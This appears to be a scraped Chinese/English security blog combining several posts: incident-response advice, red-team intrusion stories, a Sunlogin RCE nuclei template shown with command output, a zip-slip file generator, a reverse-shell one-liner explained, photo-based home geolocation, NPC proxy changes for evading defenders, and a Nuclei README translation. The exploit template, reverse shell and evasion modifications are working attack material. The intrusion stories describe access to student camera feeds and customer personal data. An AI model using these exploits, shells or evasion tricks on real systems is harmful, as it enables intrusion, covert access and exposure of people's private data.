"hidden"进行模式匹配）加入cron任务每周执行。后续处理需按流程操作，通过百度站长平台的“死链提交”工具批量提交网页内嵌恶意代码URL，使用API接口推送更新后的网站地图，持续观察搜索引擎索引量（通过site:指令）和排名变化，同时实施正规SEO恢复措施，包括提交高质量原创内容、通过合法渠道获取自然外链、使用结构化数据标记提升内容可读性。两高一弱两高一弱（Two-High-One-Weak）是网络安全领域常见的三类高风险安全问题，包括高危漏洞、高危端口和弱口令，它们为攻击者提供了直接的入侵途径，是监管部门在网络安全检查中最常发现且危害性极高的安全缺陷。高危漏洞指软件或系统中存在的严重安全缺陷，可被远程利用获取系统控制权；高危端口指默认开放或不必要开放的网络端口，易成为攻击入口；弱口令指简单、易猜测或默认的密码，使得攻击者能轻易破解账户权限。这些问题通常由于安全配置不当、未及时修补更新、缺乏安全意识等原因造成，可能导致数据泄露、系统被控、服务中断等严重后果，对个人、企业及关键信息基础设施构成重大威胁。 特征高危漏洞（High-Risk Vulnerability）是指软件、操作系统或应用程序中存在的严重安全缺陷，攻击者可利用这些缺陷远程执行恶意代码、获取系统控制权或窃取敏感数据，通常具有远程利用、影响范围广、危害性极高等特征。这类漏洞的特征包括：可利用性高，攻击者无需复杂的交互或高权限即可发起攻击；危害性严重，可能导致系统完全被控制、数据大规模泄露或服务完全中断；影响范围广泛，往往存在于用户基数大、部署广泛的流行软件或系统中；此外，许多高危漏洞在公开披露前可能已被攻击者秘密利用（零日漏洞），且官方补丁发布后用户未能及时更新修复，进一步延长了攻击窗口期。高危端口（High-Risk Port）是指默认开放或不必要开放的网络服务端口，这些端口通常对应着存在已知安全风险或配置不当的服务，极易成为攻击者入侵系统的入口。其典型特征包括：对应服务存在固有安全缺陷或默认配置不安全，如FTP（21端口）的明文传输、SSH（22端口）的弱口令和暴力破解风险、远程桌面协议RDP（3389端口）的认证绕过漏洞以及Docker API（2375端口）的未授权访问问题；这些端口通常被安全扫描工具和攻击者重点关注，是网络攻击的常见目标；此外，许多高危端口在系统中默认开启且管理员缺乏安全意识，未进行必要的访问控制、加密或关闭处理，从而为攻击者提供了直接的攻击路径。弱口令（Weak Password）是指安全性极低、容易被猜测或破解的账户密码，其特征表现为密码强度不足、缺乏复杂性和独特性，使得攻击者能够通过字典攻击、暴力破解或社会工程学手段轻易获取访问权限。弱口令的典型特征包括：密码长度过短（通常少于8位字符）；仅使用纯数字、简单字母序列或常见词汇（如“123456”、“password”、“admin”等）；缺乏复杂度组合，未混合使用大小写字母、数字和特殊符号；使用与账户名、公司名或个人生日等公开信息相关的易猜测内容；长期不更换密码或在不同系统中重复使用相同密码；此外，许多系统和设备出厂时预设的默认密码未被修改，也成为攻击者轻易入侵的突破口。处理方法高危漏洞的处理应遵循“发现-评估-修复-验证”的闭环管理流程。首先，建立常态化漏洞扫描机制，利用自动化工具定期检测系统漏洞，重点关注远程代码执行（RCE）、反序列化、认证绕过等高危类型。其次，实施基于风险的分级处置策略，优先修复影响关键系统、可被远程利用且已有公开攻击代码的漏洞，修复优先级建议为：RCE > 反序列化 > 认证绕过 > 文件上传 > SQL注入。最后，所有安全补丁必须在测试环境充分验证兼容性后再滚动部署至生产环境。高危端口的管理需采用“最小化开放”和“纵深防御”原则。第一步是端口最小化，通过扫描测绘和内部审计，识别并关闭非必要的对外服务端口，特别是FTP(21)、SSH(22)、RDP(3389)、SMB(445)等常见攻击入口。第二步是强化访问控制，对必须开放的端口实施严格的网络访问策略，包括IP白名单限制、网络隔离（VLAN划分）和防火墙规则细化。第三步是部署主动防御机制，利用入侵防御系统（IPS）监控高危端口的异常流量，并设置蜜罐系统诱捕扫描行为、收集攻击情报，同时定期进行渗透测试以验证防护有效性。弱口令的治理需要技术控制与管理措施相结合。技术层面，强制实施强密码策略，要求密码长度至少8位，且必须混合使用大小写字母、数字和特殊字符，并定期（如90天）强制更换密码；同时部署账户保护机制，包括登录失败锁定（尝试3-5次后锁定账户）、异常登录检测（异地/非常规时间登录告警）和多因素认证（MFA）。管理层面，定期使用弱口令检查工具审计所有账户密码强度，对检测出的弱口令立即强制修改；加强员工安全意识培训，杜绝使用“123456”、“admin”等常见弱口令和默认密码，并建立密码管理制度，明确各类账户的密码复杂度要求和保管责任。结束语网络安全事件的应急响应是一项系统性、专业性和时效性极强的工作。本文针对勒索病毒、挖矿病毒、银狐木马、C2连接等常见的网络安全事件，详细阐述了各类威胁的基本特征、传播途径和处置方法。在实际应急响应过程中，需要根据具体情况灵活运用技术手段和管理措施，快速识别、精准定位、有效处置，将安全事件的损失降至最低。应急响应的核心在于"快速响应、科学处置"。一旦发现安全事件，首先要立即隔离受感染系统，防止威胁扩散到内网其他设备；然后要系统性地开展排查工作，既要清除恶意程序本身，又要彻底消除持久化机制和入侵通道；最后要深入分析攻击路径，修补安全漏洞，完善防护体系，从根本上提升系统的安全防护能力。同时，网络安全事件的发生往往暴露出组织在安全管理方面的薄弱环节。每一次安全事件都应该成为改进安全工作的契机，通过事件复盘总结经验教训，完善安全管理制度，加强技术防护措施，提升人员安全意识，构建"技术+管理+运营"三位一体的网络安全防护体系。网络安全没有绝对的安全，只有相对的安全。在当前网络安全形势日益严峻的背景下，企业和组织必须树立主动防御的理念，从被动应对转向主动预防，建立常态化的安全监测、漏洞管理和应急响应机制。定期开展安全风险评估、渗透测试和应急演练，及时发现和消除安全隐患，提升整体安全防护水平。最后，网络安全是一项需要持续投入和不断改进的工作。随着攻击技术的不断演进和安全威胁的日益复杂，我们需要持续学习最新的安全知识、跟踪威胁情报动态、更新防护技术手段，始终保持对安全威胁的高度警惕和快速响应能力，为业务系统的安全稳定运行提供坚实保障。
FUZZ in workYesterday, I used FUZZ for the first time in my work. It's so cool, I have decided to write a blog about it.What is FUZZ?Fuzz or fuzzing is a technique used in computer programming and software testing. It involves providing invalid, unexpected, or random data as input to a program or system in order to identify vulnerabilities, bugs, or abnormal behavior.FUZZ in workYesterday, while testing a system, I discovered many paths using a browser plugin that called FindSomething. So I use these paths to test the system by yakit, and select the paths with 200 of status code. Among these paths, I discovered a registration API that returns some error codes. So I use FUZZ to test this API.Based on testing experience, APIs like this one are usually accessed using POST requests. Therefore, I started fuzzing the parameters using POST.I guess the registration API is the same as login API format. The fuzz dict is from https://github.com/TheKingOfDuck/fuzzDicts.However, after fuzzing, I couldn't find the first parameter.The GET requests maybe tested.I'm happy when I find a response packet that is different from the others after using GET to test this API. Following the same approach, I got a complete request packet. This is my first fuzzing result.It's so cool.
某市一些单位从互联网到内网赶在2023年的尾巴，我参加某市的一次HW。首先必须强调下面所有的行为都是经过授权的。因为这次内网没怎么打，好像没什么收获，那就把打到内网的所有目标大概写一下，不会非常详细。某卫星中心通过资产收集发现该单位某服务平台，该服务平台的同IP下的某IP存在Springboot，存在CVE-2022-22947，通过工具写内存马直接Shell。 因为是Linux服务器，没啥上线的必要，反弹个shell直接进内网开扫扫完发现内网其实没什么东西，先用默认密码登录了4个Nacos，里面没有配置文件，然后有一个Nacos密码改了，用Nacos未授权漏洞看了一下，发现里面有一个去年HW留下来的账号，但是不知道密码，于是我也用未授权添加了一个账号 还扫出来了很多SSH弱口令，但是登录发现全是网络设备，不太会利用 然后还有非常非常多的postgresql数据库的弱口令，这也是该单位的重大战果，在数据库中发现敏感地理数据超过500W条（无图） 还有一些其他的Web弱口令啊、Redis未授权啊、MySQL弱口令、etcd未授权，虽然在里面都发现了一些可以进一步扩大攻击面的东西，但是我始终没有将内网的一些数据和系统对应上，再加上打内网时间非常短，也没仔细打。某交通支付公司该漏洞是同事打的，我大概看了一下原理通过资产收集发现该公司互联网存在一台Vcenter存在任意文件读取，下载data.mdb文件，通过读取该文件伪造了一个登录Cookie，然后进入到了Vcenter后台，获取了10台服务器权限，本来打算把快照下载下来然后重置密码试试进到虚拟机内，但是因为网速问题放弃了。 某大型游乐园历史shell直通内网 某小学刚爆出来没几天的Nday，没想到直接就用上了，直接一个上传WebShell，然后上线，发现是Windows2008，抓密码、建隧道、进入远程桌面 翻了一下浏览器的记录，发现两个存在弱口令的网站，运维也没有在上面存其他密码 直接开扫，但是发现内网并不大，除了这台服务器，剩下的全是海康威视的摄像头，可以未授权获查看镜头截图以及获取登录密码，我大概瞅了几个，能看到很多学生。 某生物科技公司通过资产收集发现该公司的金蝶云可以RCE，打入内存马并上线，因为是network权限，用土豆系列提权 发现是双网卡机器，直接开扫。在金蝶服务器桌面发现一TXT文档记录了该服务器的RDP登录密码、数据库密码、两个子公司的金蝶云平台登录密码，那就RDP进去看看呗 这个内网东西也不是很多，扫到了很多Shiro，但是找不到默认Key，还发现内网有一个非常旧的ASP站，我估计大概率有SQL注入，就挂着代理用Yakit扫了一下，果真找到一个UA注入点，好像能执行命令，但是没回显，盲打了几个payload，也没见成果就放弃了。 有几个MS17-010，打成功了一个，直接进到RDP，这个机器上还有向日葵，也一块收集了，这个人机器上还有传奇这类游戏，挺有意思的 内网还有一个不出网的cve-2019-7238，能执行命令，但是实在是想不到该怎么转发出来了，现在写这个想起了可以新建用户登录啊，还是脑子不够聪明。 两个Redis，在里面发现存了登录数据，但是找不到对应的应用，而且未授权反弹shell也没成功，很可惜 接着就是重大成果，通过弱口令登录了几个MySQL数据库，在里面发现了4k条财务数据，该公司在各个平台（旺店、天猫、抖音、有赞、快手、拼多多等）百万量级的订单数据（包含姓名、地址、手机号等） 然后就是一些打印机啊、FTP、SMB之类的弱口令了，没什么意思，就不展示了。
ZIP slip vulnerabilityToday a workmate shared with me a vulnerability that called kingdee-Apusic-deployApp-upload. In this vul, I find request body is a zip file, but it's not successful that I want to modify this zip file in the request body. Finally, I found this vul is called zip-slip.Directory traversalI believe every programmer of cyber security knows about directory traversal vul. This vulnerability allows bypassing the application's access control by inserting ../. We can use ../ to access directories outside of the current directory, and download/read/write file in other directories.Zip slipzip slip is a type of directory traversal vul, We can upload a evil zip file, if the file is extracted, we will write a file into a directory where we intend.How to create a zip file with zip slip? I find codes from zhihuimport zipfile # the name of the zip file to generate zf = zipfile.ZipFile('out.zip', 'w') # the name of the malicious file that will overwrite the origial file (must exist on disk) fname = 'sec_test.txt' #destination path of the file zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')This code creates a zip file named out.zip. And we can upload this zip file to the web which have directory traversal vul, and the zip file is extracted, and a file will be written into a directory.
How to use nuclei to rce with any command
How to use nuclei to rce with any commandA few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.some Flags-dresp flag can show all received responses for all templates.-V flag can customize vars in key=value format.nuclei templatethere is a flag(variables) which can be used to customize vars in nuclei template. For example:id: sunlogin_rce info: name: 向日葵RCE author: Xc1Ym severity: critical description: 通过该链接可以执行命令 metadata: max-request: 2 verified: true fofa-query1: body="Verification failure" fofa-query2: app="向日葵-远程控制" tags: rce variables: cmd: "ipconfig" http: - raw: - | GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: {{Hostname}} - | GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1 Host: {{Hostname}} Cookie: CID={{cid}} extractors: - type: json part: body internal: true name: cid json: - '.verify_string' matchers: - type: dsl dsl: - "status_code_1==200" - "contains(body_1, 'verify_string')" - "status_code_2==200" - "contains(body_2, 'Windows IP')" condition: and # digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [sunlogin_rce] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfigUse dresp to show the received responses.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras HTTP/1.1 200 OK Content-Length: 87 Cache-Control: no-cache Content-Type: text/html {"__code":0,"enabled":"1","verify_string":"xxx","code":0} [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig HTTP/1.1 200 OK Content-Length: 750 Cache-Control: no-cache Content-Type: text/json Windows IP ���� ��̫�������� ��̫��: �����ض��� DNS ��׺ . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : xxx IPv4 ��ַ . . . . . . . . . . . . : xxx �������� . . . . . . . . . . . . : xxx Ĭ������. . . . . . . . . . . . . : xxx ���������� isatap.{xxx}: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS ��׺ . . . . . . . : ���������� Teredo Tunneling Pseudo-Interface: �����ض��� DNS ��׺ . . . . . . . : IPv6 ��ַ . . . . . . . . . . . . : xxx �������� IPv6 ��ַ. . . . . . . . : xxx Ĭ������. . . . . . . . . . . . . : :: [sunlogin_rce:dsl-1] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfigUse -V to customize vars. We can watch the nuclei executed whoami and show the result.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp -V cmd=whoami __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras HTTP/1.1 200 OK Content-Length: 87 Cache-Control: no-cache Content-Type: text/html {"__code":0,"enabled":"1","verify_string":"xxx","code":0} [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami HTTP/1.1 200 OK Content-Length: 21 Cache-Control: no-cache Content-Type: text/json nt authority\systemIn the endIf you want to rce witch any command, you can use variables in your template.And you can also use nuclei to upload webshell and execute commands by webshell.
某高校从互联网到内网某次HW目标此处内容需要评论回复后方可阅读
The commands of reverse shellI read an answer about Linux commands on zhihu, which details stdin, stdout, stderr and redirection. When I finished reading, I found that I could not understand the meaning of the Linux command in the reverse shell. So I wirte this article.I introduced the reverse shell before. At that time, I just learned hack, so in that article, I just briefly introduced the shell, but with the further study, I think it's necessary to understand the reverse shell again.we can reverse shell with bash -i >& /dev/tcp/192.168.0.1/8080 0>&1, this commands allowed display on prot 8080 of 192.168.0.1. But why? Maybe this article can solve this problem.Everything is a fileIn the reverse shell, it embodies the concept of everything is a file. /dev/tcp is a special file, through this file, we can send requests to the specified IP/domain and port. When this file is opened(the file isn't real), a socket connection is established. So /dev/tcp/192.168.0.1/8080 means this host has established a socket connection with prot 8080 of 192.168.0.1. Although the connection is established, but why the commands are displayed on screen of 192.168.0.1?Stdin, stdout and stderrstdin, stdout and stderr are all file descriptors. In Linux, stdin is number zero, and stdout is number one, stderr is number two. When we get Linux up, these three file descriptors will be started. we can get stdin throuth the keyborad and see stdout\stderr on the display. Usually stdout and stderr are displayed on the display, but if it's to be output to a file or other device, we need use redirection.RedirectionRedirection is a concept in the Shell. Through redirection, it's to be output to a file or other device. In Shell, < and << are called input redirection. > and >> are called output redirection.Input redirectioncommand 0< file means that we redirect file to command. Of course, we can omit zero. Output redirectioncommand >1 file means that we redirect the output of command to file. Also, this number is omiited. We can also redirect sdterr to stdout, such as command 2>&1 file or command >& fileReverse shellbash -i can create an interactive terminal. When we use nc -lvp 4444 on attack vps and use bash -i >& /dev/tcp/192.168.0.1/8080 0>&1 on attacked vps, we can send command by attack vps and execute the command on attacked vps. at the same time, the results of the attacked vps can be got on the attack vps.The bash -i >& /dev/tcp/192.168.0.1/8080 0>&1 is written as bash -i > /dev/tcp/192.168.0.1/8080 0>&1 2>&1.The output of interactive terminal of attacked vps redirected to prot 8080 of 192.168.0.1, 0>&1 and 2>&1 means that the input of attack vps redirected to the interactive terminal and that the error of attacked vps redirected to port 8080 of 192.168.0.1.This is the reverse shell.
图片找地址_1昨天看到一位认识的网友发了两张她家附近的照片，我告诉她我可以通过照片找到她家的位置，征得同意后我开始了根据图片找地址。首先因为她的IP定位在XX，所以我只需要在XX省里找就可以了。先看一下这两张图 在第一张照片里可以看到远处有一座桥，可以判断在河边，同时这张照片中远处面向阳光的楼是东西方向，可以确定这条河是东西走向。同时这座桥非常具有特点，是一座系杆拱桥。首先在YY找一下，发现一座系杆拱桥，但是是南北走向的河。 接着我们沿着T江在ZZ找到了一座系杆拱桥，同时发现这里的T江是东西走向。 在这座桥的北边有一座很大的建筑，看着很像第一张照片左边的建筑。 这个建筑的旁边刚好有一座楼，楼顶是天线。 在第一张图的右下角有一座建筑，建筑的最上面是蓝色的，中间镶嵌着红色，同事在附近的路上通过百度街景发现了这一建筑，刚好符合第二张图中蓝色建筑旁边是一座玻璃外墙的大楼 通过第二张图发现左边是红色屋顶的建筑，所以我们把具体的位置锁定在红色的框中 刚开始因为两张图中没有操场，所以我和同事一致认为在红框的右半边，但是右半边并没有比较高的楼适合拍照。一筹莫展之际，我和同事发现第二张图右边的白色建筑是一个L型的，刚好和学校对的上，于是我们把具体位置锁定到了学校北边的小区。 根据第二张图近景有两个白色的球状物，发现学校北边刚好有两个白点，且白点的北边刚好是一座高层小区。 我将结果告诉了这位朋友，她肯定了我的结果。
改造NPC在内网渗透中，代理的使用是必不可少的，因为我比较喜欢用npc这个代理工具，所以本次代理改造就以npc为主。本地编译在微步上，npc被标记为恶意软件，而经过本地编译后，微步仅标记为可疑软件，所以本地编译是非常重要的隐藏npc配置在使用npc时，要么使用配置文件，要么使用参数控制，配置文件和参数都会让防守方非常方便的发现攻击方的攻击中转IP，所以隐藏npc的配置是非常必要的在NPC的Github仓库中，我们主要修改cmd/npc/npc.go文件即可。修改23行~42行中的参数即可。var ( serverAddr = flag.String("server", "", "Server addr (ip:port)") configPath = flag.String("config", "", "Configuration file path") verifyKey = flag.String("vkey", "", "Authentication key") logType = flag.String("log", "stdout", "Log output mode（stdout|file）") connType = flag.String("type", "tcp", "Connection type with the server（kcp|tcp）") proxyUrl = flag.String("proxy", "", "proxy socks5 url(eg:socks5://111:222@127.0.0.1:9007)") logLevel = flag.String("log_level", "7", "log level 0~7") registerTime = flag.Int("time", 2, "register time long /h") localPort = flag.Int("local_port", 2000, "p2p local port") password = flag.String("password", "", "p2p password flag") target = flag.String("target", "", "p2p target") localType = flag.String("local_type", "p2p", "p2p target") logPath = flag.String("log_path", "", "npc log path") debug = flag.Bool("debug", true, "npc debug") pprofAddr = flag.String("pprof", "", "PProf debug addr (ip:port)") stunAddr = flag.String("stun_addr", "stun.stunprotocol.org:3478", "stun server address (eg:stun.stunprotocol.org:3478)") ver = flag.Bool("version", false, "show current version") disconnectTime = flag.Int("disconnect_timeout", 60, "not receiving check packet times, until timeout will disconnect the client") )通常情况下，我会修改第一个参数和第三个参数，在serverAddr = flag.String("server", "", "Server addr (ip:port)")中的第二个引号中填入自己的IP和端口即可，如：serverAddr = flag.String("server", "8.8.8.8:8888", "Server addr (ip:port)")修改完成后直接使用go build npc.go编译即可修改静态特征这个不知道有没有用，我自己感觉是有用的，修改67行~72行，随便把内容修改就可以svcConfig := &service.Config{ Name: "Npc", DisplayName: "nps内网穿透客户端", Description: "一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发，支持内网http代理、内网socks5代理，同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理，集成多用户模式。", Option: options, }远程加载配置文件先说一个思路，具体还未实现。上传配置文件到阿里云盘，然后提取直链，通过npc远程加载配置文件，因为阿里云盘的域名是白名单，所以可以绕过一些限制。
Nuclei新版README翻译及用法 Nuclei新增加了一些命令，对新的README进行了翻译，并订正了一些翻译错误 随着更新，Nuclei新增加了很多新功能，之前翻译的那篇README已经不能适应最新的版本，所以时隔一年之久，我打算重新翻译一篇Nuclei的README，目前翻译已经通过PR，Nuclei项目翻译地址 以下为翻译正文： 基于YAML语法模板的定制化快速漏洞扫描器 工作流程 • 安装 • 对于安全工程师 • 对于开发者 • 文档 • 致谢 • 常见问题 • 加入Discord English • 中文 • Korean Nuclei使用零误报的定制模板向目标发送请求，同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。我们的模板仓库包含超过300安全研究员和工程师提供的模板。工作流程 安装NucleiNuclei需要go1.18才能安装成功。执行下列命令安装最新版本的Nucleigo install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest更多的安装方式 请点击此处. Nuclei模板自从v2.5.2)起，Nuclei就内置了自动下载和更新模板的功能。Nuclei模板仓库随时更新社区中可用的模板列表。您仍然可以随时使用update-templates命令更新模板，您可以根据模板指南为您的个人工作流和需求编写模板。YAML的语法规范在这里。 用法nuclei -h这将显示Nuclei的帮助，以下是所有支持的命令。Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。 用法： nuclei [命令] 命令： 目标： -u, -target string[] 指定扫描的URL/主机 -l, -list string 指定需要扫描的URL/主机文件（一行一个） -resume string 断点续扫（将禁用集群） 模板： -nt, -new-templates 只扫描最新版本中添加的模板 -ntv, -new-templates-version string[] 运行在特定版本中添加的新模板 -as, -automatic-scan 在自动web扫描中使用wappalyzer技术检测的指纹 -t, -templates string[] 指定需要扫描的模板或者模板的路径（逗号分隔，文件） -tu, -template-url string[] 从URL加载模板（逗号分隔，文件） -w, -workflows string[] 指定扫描中的工作流或者工作流目录（逗号分隔，文件） -wu, -workflow-url string[] 从URL加载工作流（逗号分隔，文件） -validate 验证通过的模板 -nss, -no-strict-syntax 禁用模板的严格检查 -tl 列出所有可用的模板 过滤： -a, -author string[] 执行指定作者的模板（逗号分隔，文件） -tags string[] 执行有标记的模板子集（逗号分隔，文件） -etags, -exclude-tags string[] 执行标记为排除的模板（逗号分隔，文件） -itags, -include-tags string[] 执行默认或者配置排除的标记模板 -id, -template-id string[] 执行指定ID的模板（逗号分隔，文件） -eid, -exclude-id string[] 执行排除指定ID的模板（逗号分隔，文件） -it, -include-templates string[] 执行默认或配置中排除的模板 -et, -exclude-templates string[] 要排除的模板或者模板目录（逗号分隔，文件） -em, -exclude-matchers string[] 在结果中排除指定模板 -s, -severity value[] 根据严重程度运行模板，可候选的值有：info,low,medium,high,critical -es, -exclude-severity value[] 根据严重程度排除模板，可候选的值有：info,low,medium,high,critical -pt, -type value[] 根据协议运行模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois -ept, -exclude-type value[] 根据协议排除模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois -tc, -template-condition string[] 根据表达式运行模板 输出： -o, -output string 输出发现的问题到文件 -sresp, -store-resp 将nuclei的所有请求和响应输出到目录 -srd, -store-resp-dir string 将nuclei的所有请求和响应输出到指定目录（默认：output） -silent 只显示结果 -nc, -no-color 禁用输出内容着色（ANSI转义码） -json 输出为jsonL（ines） -irr, -include-rr 在JSONL中输出对应的请求和相应（仅结果） -nm, -no-meta 不显示匹配的元数据 -nts, -no-timestamp 不在输出中显示时间戳 -rdb, -report-db string 本地的Nuclei结果数据库（始终使用该数据库保存结果） -ms, -matcher-status 显示匹配失败状态 -me, -markdown-export string 以markdown导出结果 -se, -sarif-export string 以SARIF导出结果 配置： -config string 指定Nuclei的配置文件 -fr, -follow-redirects 为HTTP模板启用重定向 -fhr, -follow-host-redirects 在同一主机上重定向 -mr, -max-redirects int HTTP模板最大重定向次数（默认：10） -dr, -disable-redirects 为HTTP模板禁用重定向 -rc, -report-config string 指定Nuclei报告模板文件 -H, -header string[] 指定header、cookie，以header:value的方式（cli，文件） -V, -var value 通过key=value指定var值 -r, -resolvers string 指定Nuclei的解析文件 -sr, -system-resolvers 当DNS错误时使用系统DNS -passive 启用被动扫描处理HTTP响应 -ev, env-vars 在模板中使用环境变量 -cc, -client-cert string 用于对扫描的主机进行身份验证的客户端证书文件（PEM 编码） -ck, -client-key string 用于对扫描的主机进行身份验证的客户端密钥文件（PEM 编码） -ca, -client-ca string 用于对扫描的主机进行身份验证的客户端证书颁发机构文件（PEM 编码） -sml, -show-match-line 显示文件模板的匹配值，只适用于提取器 -ztls 对ztls自动退回到tls13 -sni string 指定tls sni的主机名（默认为输入的域名） -i, -interface string 指定网卡 -sip, -source-ip string 指定源IP -config-directory string 重写默认配置路径（$home/.config） -rsr, -response-size-read int 最大读取响应大小（默认：10485760字节） -rss, -response-size-save int 最大储存响应大小（默认：10485760字节） 交互： -inserver, -ineractsh-server string 使用interactsh反连检测平台（默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me） -itoken, -interactsh-token string 指定反连检测平台的身份凭证 -interactions-cache-size int 指定保存在交互缓存中的请求数（默认：5000） -interactions-eviction int 从缓存中删除请求前等待的时间（默认为60秒） -interactions-poll-duration int 每个轮询前等待时间（默认为5秒） -interactions-cooldown-period int 退出轮询前的等待时间（默认为5秒） -ni, -no-interactsh 禁用反连检测平台，同时排除基于反连检测的模板 限速： -rl, -rate-limit int 每秒最大请求量（默认：150） -rlm, -rate-limit-minute int 每分钟最大请求量 -bs, -bulk-size int 每个模板最大并行检测数（默认：25） -c, -concurrency int 并行执行的最大模板数量（默认：25） -hbs, -headless-bulk-size int 每个模板并行运行的无头主机最大数量（默认：10） -headc, -headless-concurrency int 并行指定无头主机最大数量（默认：10） 优化： -timeout int 超时时间（默认为10秒） -retries int 重试次数（默认：1） -ldp, -leave-default-ports 指定HTTP/HTTPS默认端口（例如：host:80，host:443） -mhe, -max-host-error int 某主机扫描失败次数，跳过该主机（默认：30） -project 使用项目文件夹避免多次发送同一请求 -project-path string 设置特定的项目文件夹 -spm, -stop-at-first-path 得到一个结果后停止（或许会中断模板和工作流的逻辑） -stream 流模式 - 在不整理输入的情况下详细描述 -irt, -input-read-timeout duration 输入读取超时时间（默认：3分钟） -no-stdin 禁用标准输入 无界面浏览器： -headless 启用需要无界面浏览器的模板 -page-timeout int 在无界面下超时秒数（默认：20） -sb, -show-brower 在无界面浏览器运行模板时，显示浏览器 -sc, -system-chrome 不使用Nuclei自带的浏览器，使用本地浏览器 -lha, -list-headless-action 列出可用的无界面操作 调试： -debug 显示所有请求和响应 -dreq, -debug-req 显示所有请求 -dresp, -debug-resp 显示所有响应 -p, -proxy string[] 使用http/socks5代理（逗号分隔，文件） -pi, -proxy-internal 代理所有请求 -ldf, -list-dsl-function 列出所有支持的DSL函数签名 -tlog, -trace-log string 写入跟踪日志到文件 -elog, -error-log string 写入错误日志到文件 -version 显示版本信息 -hm, -hang-monitor 启用Nuclei的监控 -v, -verbose 显示详细信息 -profile-mem string 将Nuclei的内存转储成文件 -vv 显示额外的详细信息 -ep, -enable-pprof 启用pprof调试服务器 -tv, -templates-version 显示已安装的模板版本 -hc, -health-check 运行诊断检查 升级： -update 更新Nuclei到最新版本 -ut, -update-templates 更新Nuclei模板到最新版 -ud, -update-directory string 覆盖安装模板 -duc, -disable-update-check 禁用更新 统计： -stats 显示正在扫描的统计信息 -sj, -stats-json 将统计信息以JSONL格式输出到文件 -si, -stats-inerval int 显示统计信息更新的间隔秒数（默认：5） -m, -metrics 显示Nuclei端口信息 -mp, -metrics-port int 更改Nuclei默认端口（默认：9092）运行Nuclei使用社区提供的模板扫描单个目标nuclei -u https://example.com使用社区提供的模板扫描多个目标nuclei -list urls.txtExample of urls.txt:http://example.com http://app.example.com http://test.example.com 